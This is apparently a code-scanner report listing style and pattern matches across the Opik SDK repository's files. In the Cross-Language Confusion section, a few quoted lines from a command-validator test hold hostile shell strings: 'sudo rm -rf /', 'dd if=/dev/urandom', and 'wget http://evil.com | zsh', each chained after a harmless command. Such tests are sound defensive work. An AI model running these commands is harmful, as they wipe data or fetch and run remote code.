MEDIUM…e_evaluators/agentic/test_suite_llm_judge_branching.py60 # agentic. No explicit `scoring_tool_strategy=` — exercising theCOMMENT
MEDIUM…t/evaluation/metrics/llm_judges/test_seed_parameter.py179 # GEval calls generate_chat_completion multiple times (chain of thought + evaluation)COMMENT
MEDIUM…ests/unit/evaluation/models/test_litellm_chat_model.py338 # Per-call temperature=0 (the agentic judge loop's hardcoded pin)COMMENT
MEDIUM…ts/unit/evaluation/models/test_anthropic_chat_model.py511 # End-to-end: a typical agentic-loop history with oneCOMMENT
MEDIUM…/tests/library_integration/guardrails/requirements.txt1setuptools # required by guardrails hubCODE
MEDIUM…ests/library_integration/guardrails/test_guardrails.py36 ) # Both the guardrails passCODE
MEDIUM…ary_integration/langchain/test_langgraph_supervisor.py114 # The supervisor/multi-agent graph produces three top-level spans:COMMENT
MEDIUM…integration/metrics_with_llm_judge/agentic/conftest.py36# Claude tier we run the agentic judge against. Haiku is cheaper butCOMMENT
MEDIUM…integration/metrics_with_llm_judge/agentic/conftest.py37# on the agentic path (tools in the request, so `response_format` isCOMMENT
MEDIUM…n/metrics_with_llm_judge/agentic/test_agentic_judge.py322 # Direct evidence of the agentic loop engaged. We don't pin theCOMMENT
MEDIUMsdks/python/tests/e2e/test_guardrails.py61 # Check trace guardrails validationsCOMMENT
MEDIUM…ks/python/src/opik/llm_usage/openai_responses_usage.py84 # and context window limits.COMMENT
MEDIUM…/python/src/opik/integrations/langchain/opik_tracer.py59# Constant for LangGraph ParentCommand (multi-agent control flow routing)COMMENT
MEDIUM…/python/src/opik/integrations/langchain/opik_tracer.py204 # ParentCommand is not an error - it's multi-agent routing in LangGraphCOMMENT
MEDIUM…/python/src/opik/integrations/langchain/opik_tracer.py696 # ParentCommand is not an error - it's multi-agent routing in LangGraphCOMMENT
MEDIUMsdks/python/src/opik/evaluation/evaluator.py676 # access to the full trace tree via the agentic tool loop. The emulatorCOMMENT
MEDIUMsdks/python/src/opik/evaluation/evaluator.py696 # exit deactivating it and starving the others' agentic judges).COMMENT
MEDIUM…rc/opik/evaluation/suite_evaluators/agentic/context.py151# of its own scoring/metrics plumbing. The agentic judge has no businessCOMMENT
MEDIUM…rc/opik/evaluation/suite_evaluators/agentic/context.py261# direction is engine → agentic, not the reverse).COMMENT
MEDIUM…c/opik/evaluation/suite_evaluators/llm_judge/metric.py156 >>> # Force the agentic tool loop whenever a trace context is supplied.STRING
MEDIUM…c/opik/evaluation/suite_evaluators/llm_judge/metric.py339 # Import lazily so the agentic dependencies (tool registry, loop,COMMENT
MEDIUM…uation/suite_evaluators/llm_judge/strategy_selector.py58# Default headroom: reserve half the context window for the model's ownCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/message_adapter.py32# `suite_evaluators/agentic/loop.py` for why this hasn't surfaced viaCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/message_adapter.py33# the agentic judge (the loop pins `temperature=0`, which forces bothCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/message_adapter.py229# agentic loop emits OpenAI-style values because that's the dominantCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/response_parser.py66 # as a tool call so the agentic loop can execute it. OtherwiseCOMMENT
MEDIUM…ik/evaluation/models/anthropic/anthropic_chat_model.py237 # Anthropic object form — the agentic loop emits the OpenAICOMMENT
MEDIUM…c/opik/evaluation/models/litellm/litellm_chat_model.py177 # callers (e.g. the agentic judge) that pass `seed` forCOMMENT
MEDIUMsdks/python/src/opik/evaluation/engine/engine.py103 # LLM-task path so the agentic judge can see the traceCOMMENT
MEDIUMsdks/python/src/opik/evaluation/engine/engine.py127 # agentic context is built from it directly because theCOMMENT
MEDIUMsdks/python/src/opik/evaluation/engine/engine.py238 # small window where the agentic judge sees a stale view.COMMENT
MEDIUMsdks/python/src/opik/evaluation/engine/engine.py344 # Hand the in-memory TraceData to scoring so the agenticCOMMENT
94 more matches not shown…
Docstring Block Structure74 hits · 370 pts
SeverityFileLineSnippetContext
HIGHsdks/python/src/opik/opik_context.py224 Provides a context manager to handle trace data within an execution context. This function sets up trace data STRING
HIGHsdks/python/src/opik/guardrails/guardrail.py86 Validate text against all configured guardrails. Args: text: Text to validate RetSTRING
HIGHsdks/python/src/opik/decorator/base_track_decorator.py724 Handles the creation and registration of a new start span and trace while respecting the tracing context based STRING
HIGH…age_processing/emulation/emulator_message_processor.py454 Creates a trace model with the specified attributes. The method is abstract and must be implemented in STRING
HIGH…age_processing/emulation/emulator_message_processor.py512 Abstract method to create a span model representing a span of a trace. This method is intended to facilSTRING
HIGH…age_processing/emulation/emulator_message_processor.py555 Creates a feedback score model with the specified parameters. The method is abstract and must be impleSTRING
HIGH…ython/src/opik/message_processing/replay/db_manager.py720 Converts a database message object to a corresponding application message object. This function maps a databasSTRING
HIGH…rock/invoke_model/chunks_aggregator/format_detector.py90 Get aggregator for the specified format. Args: format_name: Name of the format Returns: CSTRING
HIGHsdks/python/src/opik/anonymizer/factory.py19Create an anonymizer with the specified rules. Args: anonymizer_rules: Anonymizer rules specification in vaSTRING
HIGHsdks/python/src/opik/evaluation/evaluator.py1435 Resume an interrupted ``evaluate()`` run. Reads the resume state embedded in the existing experiment (dataset STRING
HIGH…on/src/opik/evaluation/metrics/heuristics/sentiment.py63 Analyze the sentiment of the provided text. Args: output: The text to analyze for sentimenSTRING
HIGH…/python/src/opik/evaluation/metrics/heuristics/bleu.py130 Calculate sentence-level BLEU for one candidate vs. one or more references. Args: output: STRING
HIGH…/python/src/opik/evaluation/metrics/heuristics/bleu.py234 Calculate corpus-level BLEU for multiple candidates. Args: output: A list of candidate strSTRING
HIGH…python/src/opik/evaluation/metrics/heuristics/rouge.py77 Compute the ROUGE score based on the given rouge_type between the output and reference strings. Args: STRING
HIGH…trics/llm_judges/structure_output_compliance/parser.py10 Parses the LLM output for the StructuredOutputCompliance metric. Expected LLM output format: { STRING
HIGH…on/src/opik/evaluation/metrics/conversation/helpers.py52 Extracts a list of conversation windows based on turns using a sliding window approach. This function divides aSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py195 Provides a context manager for getting and managing the response from a model provider. Ensures that errors durSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py226 Asynchronous context manager for getting a response from a model provider. This function asynchronously interaSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py260 Checks the output of a model and verifies that it is not None. This function ensures that the output returned STRING
HIGH…opik/evaluation/models/langchain/message_converters.py21Convert OpenAI-style chat messages to LangChain's primitives. Args: messages: Iterable of message dictionarSTRING
HIGHsdks/python/src/opik/evaluation/threads/evaluator.py22Evaluate conversation threads using specified metrics. This function evaluates conversation threads from a project STRING
HIGH…n/src/opik/evaluation/samplers/base_dataset_sampler.py26 Samples and filters a list of dataset items according to a specific implementation. Args: STRING
HIGHsdks/python/src/opik/api_objects/rest_helpers.py24 Execute a REST API call with automatic retry on rate limit (429) errors. This function handles HTTP 429 rate lSTRING
HIGHsdks/python/src/opik/api_objects/rest_helpers.py74 Resolve a project name to its project ID. Args: rest_client: The REST API client instance. proSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py969Search for threads in a given project based on specific criteria. Args: project_name: The name of tSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py1516 Get an existing test suite by name. Retrieves the dataset and its version-level assertions and executiSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py1964 Search for traces in the given project. Optionally, you can wait for at least a certain number of traces STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2074 Search for spans in the given trace. This allows you to search spans based on the span input, output, mSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2313 Creates a new text prompt with the given name and template. If a text prompt with the same name alreadySTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2364 Creates a new chat prompt with the given name and message templates. If a chat prompt with the same namSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2418 Retrieve a text prompt by name, optionally targeting a specific ``version``. This method only returns STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2463 Retrieve a chat prompt by name, optionally targeting a specific ``version``. This method only returns STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2575 Retrieve all text prompt versions history for a given prompt name. Parameters: name: The nSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2667 Retrieve all chat prompt versions history for a given prompt name. Parameters: name: The nSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2774 Retrieve the latest prompt versions (both string and chat prompts) for the given search parameters. PaSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py3027 Get a traces annotation queue by its ID. Args: queue_id: The ID of the annotation queue. STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py3045 Get a threads annotation queue by its ID. Args: queue_id: The ID of the annotation queue. STRING
HIGHsdks/python/src/opik/api_objects/trace/trace_client.py288 Update an existing trace with new information. This function sends an UpdateTraceMessage to the provided messagSTRING
HIGHsdks/python/src/opik/api_objects/dataset/validators.py38 Resolve assertions shorthand and/or evaluators into a list of LLMJudge instances. Args: assertions: LiSTRING
HIGHsdks/python/src/opik/api_objects/dataset/dataset.py102 Retrieve dataset items as a list of dictionaries. Args: nb_samples: Maximum number of itemSTRING
HIGHsdks/python/src/opik/api_objects/dataset/dataset.py884 Get a read-only view of a specific dataset version. The returned DatasetVersion object allows reading STRING
HIGH…/src/opik/api_objects/dataset/test_suite/test_suite.py345 Get a read-only view of a specific version. Args: version_name: The version name (e.g., 'vSTRING
HIGH…c/opik/api_objects/annotation_queue/rest_operations.py168 Fetch a trace annotation queue by its ID. Args: rest_client: The REST API client. queue_id: ThSTRING
HIGH…c/opik/api_objects/annotation_queue/rest_operations.py194 Fetch a thread annotation queue by its ID. Args: rest_client: The REST API client. queue_id: TSTRING
HIGHsdks/python/src/opik/api_objects/prompt/client.py77 Creates the prompt detail for the given prompt name and template. Parameters: - name: The nameSTRING
HIGHsdks/python/src/opik/api_objects/prompt/client.py355 Retrieve all the prompt details for a given prompt name. Parameters: name: The name of theSTRING
HIGH…/python/src/opik/api_objects/threads/threads_client.py44Search for threads in a given project based on specific criteria. This method retrieves a list of TraceThread oSTRING
HIGHsdks/python/src/opik/configurator/opik_rest_helpers.py79 Verifies whether the provided workspace name exists in the user's cloud Opik account. Args: workspace STRING
HIGH…r_algorithms/metaprompt_context7_remote_mcp_example.py71Compute Levenshtein similarity between reference_answer and model output. Args: dataset_item: Dataset row dSTRING
HIGH…ks/opik_optimizer/src/opik_optimizer/base_optimizer.py247Get a prompt template, optionally formatted with kwargs. Args: key: The prompt key to retrieve STRING
HIGH…ks/opik_optimizer/src/opik_optimizer/base_optimizer.py282Get the original default prompt (before overrides). Args: key: The prompt key to retrieve STRING
HIGH…izer/src/opik_optimizer/metrics/task_span/span_cost.py200 Calculate the total cost based on the span's token usage, recursively traversing the span tree. Args: STRING
HIGH…orithms/meta_prompt_optimizer/meta_prompt_optimizer.py38 Meta-Prompt Optimizer that uses LLM-based meta-reasoning to iteratively improve prompts. This optimizer uses aSTRING
HIGH…hms/hierarchical_reflective_optimizer/rootcause_ops.py259 Perform hierarchical root cause analysis on evaluation results asynchronously. This method: 1.STRING
HIGH…shot_bayesian_optimizer/few_shot_bayesian_optimizer.py57 Few-Shot Bayesian Optimizer that adds few-shot examples to prompts using Bayesian optimization. This algorithmSTRING
HIGH…shot_bayesian_optimizer/few_shot_bayesian_optimizer.py305 Generate a few-shot prompt template that can be used to insert examples into the prompt. Args: STRING
HIGH…shot_bayesian_optimizer/few_shot_bayesian_optimizer.py936 Build the few-shot examples string from demo examples. Args: demo_examples: List of examplSTRING
HIGH…shot_bayesian_optimizer/few_shot_bayesian_optimizer.py976 Reconstruct the prompts dict with few-shot examples filled in. Args: prompts_with_placeholSTRING
HIGH…ik_optimizer/algorithms/parameter_optimizer/helpers.py18 Build base model kwargs from optimizer's model parameters. Removes 'n' parameter since parameter optimization STRING
HIGH…k_optimizer/src/opik_optimizer/utils/prompt_library.py106Get a prompt, optionally formatted with kwargs. Args: key: The prompt key to retrieve *STRING
14 more matches not shown…
Cross-Language Confusion105 hits · 350 pts
SeverityFileLineSnippetContext
HIGHsdks/python/tests/unit/runner/test_bridge_handlers.py195 "echo hello && sudo rm -rf /",CODE
HIGHsdks/python/tests/unit/runner/test_bridge_handlers.py200 "pip install foo && sudo chmod 777 /",CODE
HIGHsdks/python/tests/unit/runner/test_bridge_handlers.py203 "echo clean && dd if=/dev/urandom of=disk.img",CODE
HIGHsdks/python/tests/unit/runner/test_bridge_handlers.py205 "echo ok && rm -r -f /",CODE
HIGHsdks/python/tests/unit/runner/test_bridge_handlers.py207 "echo x && wget http://evil.com | zsh",CODE
HIGHsdks/python/tests/unit/runner/test_bridge_handlers.py208 "echo safe && nohup python app.py &",CODE
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py858 # ``apply_dataset_item_changes(base_version=null, override=true)``COMMENT
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py916 # Two apply_dataset_item_changes calls: v1 (base_version=null,COMMENT
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py1346 # base_version=null, override=true)`` carrying the suite config —COMMENT
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py1248 or ``apply_dataset_item_changes(base_version=null, override=true)`` (whenSTRING
HIGH…/evaluation/metrics/llm_judges/test_parsing_helpers.py17 '{"verdict":"yes","reason":null}'CODE
HIGH…/evaluation/metrics/llm_judges/test_parsing_helpers.py21 content = 'Here you go: {"verdict":"yes","reason":null} done.'CODE
HIGH…/evaluation/metrics/llm_judges/test_parsing_helpers.py32 content = '{"verdict":"yes","reason":null}\n{"verdict":"yes","reason":null}'CODE
HIGH…ts/unit/evaluation/models/test_anthropic_chat_model.py460 a malformed model output (top-level array, scalar, null, orSTRING
HIGHsdks/python/src/opik/runner/bridge_auth.py10 """HMAC-SHA256(bridge_key, type || args_json) → base64."""STRING
HIGH…ython/src/opik/message_processing/replay/db_manager.py5to re-inject messages). The manager tracks three states — undefined, initialized, closed,STRING
HIGHsdks/python/src/opik/cli/migrate/checkpoint.py292 raise ValueError(f"{field_name} must be a string or null, got {value!r}")CODE
HIGHsdks/python/src/opik/cli/migrate/_resolver.py126 null) or when the project lookup raises a recoverable ``ApiError``STRING
HIGH…python/src/opik/cli/migrate/datasets/version_replay.py507 """Create v1 via ``apply_dataset_item_changes(base_version=null, override=true)``.STRING
HIGHsdks/python/src/opik/cli/migrate/datasets/executor.py210 ``apply_dataset_item_changes(base_version=null, override=true)``) soSTRING
HIGH…ation/suite_evaluators/agentic/tools/path_evaluator.py431 f"Expected literal (string, integer, true/false/null) at position "STRING
HIGH…luation/suite_evaluators/agentic/compression/tokens.py3Matches the backend (`String.length() / 4`) so the same trace producesSTRING
HIGH…luation/suite_evaluators/agentic/compression/tokens.py9Unicode code points, Java `String.length()` counts UTF-16 code units.STRING
HIGH…rc/opik/evaluation/models/anthropic/message_adapter.py62 - Anything else (top-level list/scalar/null, malformed JSON,STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py512 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py885 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py888 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py2233 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py2630 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py2633 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py621 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py1083 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py1086 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py2829 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py3291 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py3294 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/types/span_write.py18 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/guardrail_write.py17 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/trace.py22 If null, the default project is usedSTRING
HIGH…src/opik/rest_api/types/experiment_item_bulk_upload.py20 Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit trace). If nuSTRING
HIGH…est_api/types/trace_experiment_item_bulk_write_view.py21 If null, the default project is usedSTRING
HIGH…src/opik/rest_api/types/assertion_result_batch_item.py15 If null, the default project is usedSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py13 If null, dataset_id must be providedSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py18 If null, dataset_name must be providedSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py34 Optional batch group ID to group multiple batches into a single dataset version. If null, mutates the latest versionSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py39 Optional. Dataset to read carry-forward rows from when materializing the new version. Required together with copy_frSTRING
HIGH…pik/rest_api/types/feedback_score_batch_item_thread.py13 If null, the default project is usedSTRING
HIGH…n/src/opik/rest_api/types/feedback_score_batch_item.py13 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/guardrail.py18 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/span_public.py20 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/span.py20 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/trace_write.py17 If null, the default project is usedSTRING
HIGH…ik/rest_api/types/complete_multipart_upload_request.py15 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py380 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py1396 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/spans/raw_client.py441 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/spans/raw_client.py1728 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/experiments/client.py437 Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit traceSTRING
HIGHsdks/python/src/opik/rest_api/experiments/client.py1257 Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit traceSTRING
HIGHsdks/python/src/opik/rest_api/experiments/raw_client.py545 Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit traceSTRING
45 more matches not shown…
Modern Structural Boilerplate321 hits · 322 pts
SeverityFileLineSnippetContext
LOW…tests/unit/runner/bridge_handlers/test_search_files.py40 def _setup_files(self, tmp_path: Path) -> None:CODE
LOWsdks/python/tests/testlib/__init__.py14__all__ = [CODE
LOWsdks/python/src/_opik/__init__.py14__all__ = ["BaseMetric", "ScoreResult"]CODE
LOWsdks/python/src/opik/config.py520def update_session_config(key: str, value: Any) -> None:CODE
LOWsdks/python/src/opik/opik_context.py273__all__ = [CODE
LOWsdks/python/src/opik/context_storage.py159 def set_trace_data(self, trace: Optional[trace.TraceData]) -> None:CODE
LOWsdks/python/src/opik/__init__.py55__all__ = [CODE
LOWsdks/python/src/opik/tracing_runtime_config.py13 def set_tracing_active(self, active: bool) -> None:CODE
LOWsdks/python/src/opik/tracing_runtime_config.py39def set_tracing_active(active: bool) -> None:CODE
LOWsdks/python/src/opik/error_tracking/__init__.py7__all__ = [CODE
LOWsdks/python/src/opik/llm_usage/__init__.py9__all__ = [CODE
LOWsdks/python/src/opik/guardrails/__init__.py4__all__ = ["Guardrail", "Topic", "PII"]CODE
LOWsdks/python/src/opik/guardrails/guards/__init__.py5__all__ = ["Guard", "Topic", "PII"]CODE
LOW…/python/src/opik/decorator/context_manager/__init__.py5__all__ = [CODE
LOWsdks/python/src/opik/decorator/opik_args/__init__.py8__all__ = [CODE
LOWsdks/python/src/opik/runner/registry.py13logger = logging.getLogger(__name__)CODE
LOWsdks/python/src/opik/runner/tui.py279 def _update_live(self) -> None:CODE
LOW…python/src/opik/runner/bridge_handlers/syntax_check.py12logger = logging.getLogger(__name__)CODE
LOWsdks/python/src/opik/simulation/__init__.py6__all__ = ["SimulatedUser", "run_simulation"]CODE
LOW…age_processing/emulation/emulator_message_processor.py123 def set_active(self, active: bool) -> None:CODE
LOW…on/src/opik/message_processing/permissions/__init__.py3__all__ = [CODE
LOW…ython/src/opik/message_processing/replay/db_manager.py368 def update_message(self, message_id: int, status: MessageStatus) -> None:CODE
LOW…n/src/opik/message_processing/replay/replay_manager.py135 def set_replay_callback(self, callback: types.ReplayCallback) -> None:CODE
LOWsdks/python/src/opik/cli/__init__.py5__all__ = ["cli"]CODE
LOWsdks/python/src/opik/cli/local_runner/__init__.py10__all__ = ["connect", "endpoint"]CODE
LOWsdks/python/src/opik/cli/healthcheck/__init__.py5__all__ = ["healthcheck"]CODE
LOWsdks/python/src/opik/cli/exports/trace_filter.py7logger = logging.getLogger(__name__)CODE
LOWsdks/python/src/opik/cli/migrate/__init__.py9__all__ = ["migrate_group"]CODE
LOWsdks/python/src/opik/cli/migrate/datasets/resolver.py175__all__ = [CODE
LOWsdks/python/src/opik/cli/migrate/prompts/resolver.py160__all__ = [CODE
LOWsdks/python/src/opik/cli/usage_report/__init__.py9__all__ = [CODE
LOWsdks/python/src/opik/integrations/aisuite/__init__.py4__all__ = ["track_aisuite"]CODE
LOWsdks/python/src/opik/integrations/dspy/callback.py374 def _set_current_context_data(self, value: SpanOrTraceData) -> None:CODE
LOWsdks/python/src/opik/integrations/dspy/__init__.py3__all__ = ["OpikCallback"]CODE
LOWsdks/python/src/opik/integrations/crewai/__init__.py4__all__ = ["track_crewai"]CODE
LOW…thon/src/opik/integrations/crewai/patchers/__init__.py5__all__ = ["patch_flow", "patch_llm_client", "patch_litellm_completion"]CODE
LOWsdks/python/src/opik/integrations/agentspec/__init__.py3__all__ = ["AgentSpecInstrumentor", "OpikSpanProcessor"]CODE
LOW…/src/opik/integrations/agentspec/opik_spanprocessor.py20logger = logging.getLogger(__name__)CODE
LOW…ks/python/src/opik/integrations/guardrails/__init__.py3__all__ = ["track_guardrails"]CODE
LOWsdks/python/src/opik/integrations/harbor/__init__.py17__all__ = ["track_harbor", "reset_harbor_tracking"]CODE
LOW…/python/src/opik/integrations/langchain/opik_tracer.py163 def set_graph(self, graph: "Graph") -> None:CODE
LOWsdks/python/src/opik/integrations/langchain/__init__.py11__all__ = [CODE
LOW…ations/langchain/provider_usage_extractors/__init__.py3__all__ = [CODE
LOW…der_usage_extractors/langchain_run_helpers/__init__.py9__all__ = [CODE
LOW…s/python/src/opik/integrations/llama_index/__init__.py3__all__ = ["LlamaIndexCallbackHandler"]CODE
LOWsdks/python/src/opik/integrations/groq/__init__.py3__all__ = ["track_groq"]CODE
LOWsdks/python/src/opik/integrations/otel/__init__.py8__all__ = [CODE
LOWsdks/python/src/opik/integrations/bedrock/__init__.py3__all__ = ["track_bedrock"]CODE
LOW…ons/bedrock/invoke_model/chunks_aggregator/__init__.py76__all__ = [CODE
LOW…python/src/opik/integrations/adk/legacy_opik_tracer.py117 def _set_current_context_data(self, value: SpanOrTraceData) -> None:CODE
LOWsdks/python/src/opik/integrations/adk/__init__.py14__all__ = ["OpikTracer", "track_adk_agent_recursive", "build_mermaid_graph_definition"]CODE
LOW…/python/src/opik/integrations/adk/patchers/__init__.py4__all__ = ["patch_adk"]CODE
LOW…hon/src/opik/integrations/haystack/opik_span_bridge.py41 def set_tag(self, key: str, value: Any) -> None:CODE
LOW…hon/src/opik/integrations/haystack/opik_span_bridge.py57 def set_content_tag(self, key: str, value: Any) -> None:CODE
LOW…hon/src/opik/integrations/haystack/opik_span_bridge.py177 def set_tags(self, tags: Dict[str, Any]) -> None:CODE
LOWsdks/python/src/opik/integrations/haystack/__init__.py3__all__ = ["OpikConnector"]CODE
LOWsdks/python/src/opik/integrations/anthropic/__init__.py4__all__ = ["track_anthropic"]CODE
LOWsdks/python/src/opik/integrations/genai/__init__.py4__all__ = ["track_genai"]CODE
LOW…/python/src/opik/integrations/genai/videos/__init__.py4__all__ = [CODE
LOWsdks/python/src/opik/integrations/litellm/__init__.py5__all__ = ["track_completion"]CODE
261 more matches not shown…
Structural Annotation Overuse173 hits · 297 pts
SeverityFileLineSnippetContext
LOWsdks/python/design/API_AND_DATA_FLOW.md547#### Step 1: User Creates TraceCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md560#### Step 2: API Layer - Message CreationCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md602#### Step 3: Message Processing Layer - RoutingCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md638#### Step 4: Batching (Optional)COMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md687#### Step 5: Queue and ConsumerCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md703#### Step 6: Message Processing - Handler ExecutionCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md728#### Step 7: REST API LayerCOMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md751#### Step 8: Backend StorageCOMMENT
LOWsdks/python/tests/e2e/test_prompt.py1557 # Step 4: clear all environments.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1504 # Step 1: create v1 and pin it to environment_name; a newer v2 existsCOMMENT
LOWsdks/python/tests/e2e/test_prompt.py1524 # Step 2: add second_environment_name; both envs must be visible on the same version.COMMENT
LOWsdks/python/tests/e2e/test_prompt.py1543 # Step 3: move ownership exclusively to second_environment_name.COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py244 # Step 1: Prepare test dataCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py254 # Step 2: Export traces using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py313 # Step 1: Prepare test dataCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py322 # Step 2: Export datasets using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py390 # Step 1: Prepare test dataCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py400 # Step 2: Export prompts using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py476 # Step 1: Prepare test data (minimal)COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py481 # Step 2: Export all data types with limited results using direct function callsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py756 # Step 1: Create two datasetsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py903 # Step 1: Create a test chat promptCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py913 # Step 2: Export chat prompt using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1001 # Step 1: Prepare test data with experimentsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1008 # Step 2: Export the project data (traces) using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py289 # Step 3: Import traces using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py359 # Step 3: Import datasets using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py438 # Step 3: Import prompts using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py541 # Step 3: Import all data types using direct function callsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py790 # Step 2: Create two experiments with different datasetsCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py843 # Step 3: Export experiments filtered by dataset1COMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py857 # Step 4: Verify only experiment1 was exported. Files are named byCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py884 # Step 5: Verify the exported experiment has the correct datasetCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py954 # Step 3: Import chat prompt using direct function callCOMMENT
LOWsdks/python/tests/e2e/test_cli_import_export.py1054 # Step 3: Test import (experiments are automatically recreated) using direct function callCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py126 # Step 1: Collect all dataset_item_id and dataset_item_data from experiment filesCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py186 # Step 2: Import datasetsCOMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py238 # Step 3: Get all imported dataset items and match by contentCOMMENT
LOW…ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md11### Step 1: Create the Aggregator ModuleCOMMENT
LOW…ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md82### Step 2: Register the FormatCOMMENT
LOW…ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md101### Step 3: Test Your New FormatCOMMENT
LOW…tions/bedrock/invoke_model/chunks_aggregator/README.md33### Step 1: Create Aggregator ModuleCOMMENT
LOW…tions/bedrock/invoke_model/chunks_aggregator/README.md88### Step 2: Register FormatCOMMENT
LOW…tions/bedrock/invoke_model/chunks_aggregator/README.md107### Step 3: Done!COMMENT
LOWsdks/python/src/opik/configurator/configure.py181 # Step 1: If the URL is provided and active, update the configurationCOMMENT
LOWsdks/python/src/opik/configurator/configure.py186 # Step 2: Check if the default local instance is activeCOMMENT
LOWsdks/python/src/opik/configurator/configure.py217 # Step 4: Ask user for URL if no valid local instance is found or approvedCOMMENT
LOWsdks/python/src/opik/configurator/configure.py198 # Step 3: Ask user if they want to use the found local instanceCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md391### Step 1: Create Package StructureCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md423### Step 2: Implement Wrapper/HandlerCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md513### Step 3: Add Response ParsingCOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md544### Step 4: Export Public APICOMMENT
LOWsdks/typescript/design/INTEGRATIONS.md552### Step 5: Add TestsCOMMENT
